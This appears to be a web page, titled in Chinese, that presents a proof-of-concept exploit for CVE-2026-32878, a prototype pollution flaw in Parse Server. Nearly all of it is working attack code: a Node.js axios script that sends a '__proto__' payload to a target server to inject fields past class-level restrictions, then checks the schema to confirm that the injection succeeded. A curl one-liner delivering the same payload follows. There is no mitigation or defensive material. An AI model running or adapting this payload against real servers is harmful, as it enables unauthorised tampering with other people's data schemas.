Parse Server原型污染漏洞CVE-2026-32878导致字段注入

// CVE-2026-32878 PoC - Prototype Pollution in Parse Server Deep Copy // This PoC demonstrates bypassing class-level field addition restrictions const axios = require('axios'); // Target Parse Server instance const TARGET_URL = 'http://target-server:1337/parse'; const APP_ID = 'your-app-id'; const API_KEY = 'your-api-key'; async function exploitPrototypePollution() { console.log('[+] Starting CVE-2026-32878 exploitation...'); // Step 1: Create a class with locked field addition // In real scenario, this class would already exist with restricted permissions // Step 2: Send malicious request with __proto__ property // This exploits the deep copy mechanism to inject fields const maliciousPayload = { '__proto__': { 'injectedField': { type: 'String', __isInjected: true } }, 'legitimateField': 'normalValue' }; try { const response = await axios.post( `${TARGET_URL}/classes/VulnerableClass`, maliciousPayload, { headers: { 'X-Parse-Application-Id': APP_ID, 'X-Parse-REST-API-Key': API_KEY, 'Content-Type': 'application/json' } } ); console.log('[+] Malicious request sent'); console.log('[+] Response:', JSON.stringify(response.data, null, 2)); // Step 3: Verify field injection by querying schema const schemaResponse = await axios.get( `${TARGET_URL}/schemas/VulnerableClass`, { headers: { 'X-Parse-Application-Id': APP_ID, 'X-Parse-Master-Key': 'master-key' // Would need master key to verify } } ); console.log('[+] Schema after exploitation:', JSON.stringify(schemaResponse.data, null, 2)); // Check if injected field persists if (schemaResponse.data.fields && schemaResponse.data.fields.injectedField) { console.log('[!] SUCCESS: Field injection confirmed!'); console.log('[!] The injected field persists even with master key'); } } catch (error) { console.error('[-] Error during exploitation:', error.message); } } exploitPrototypePollution(); // Alternative PoC using curl: // curl -X POST http://target-server:1337/parse/classes/TargetClass \ // -H "X-Parse-Application-Id: APP_ID" \ // -H "X-Parse-REST-API-Key: API_KEY" \ // -H "Content-Type: application/json" \ // -d '{"__proto__": {"evilField": {"type": "String"}}, "normalField": "value"}'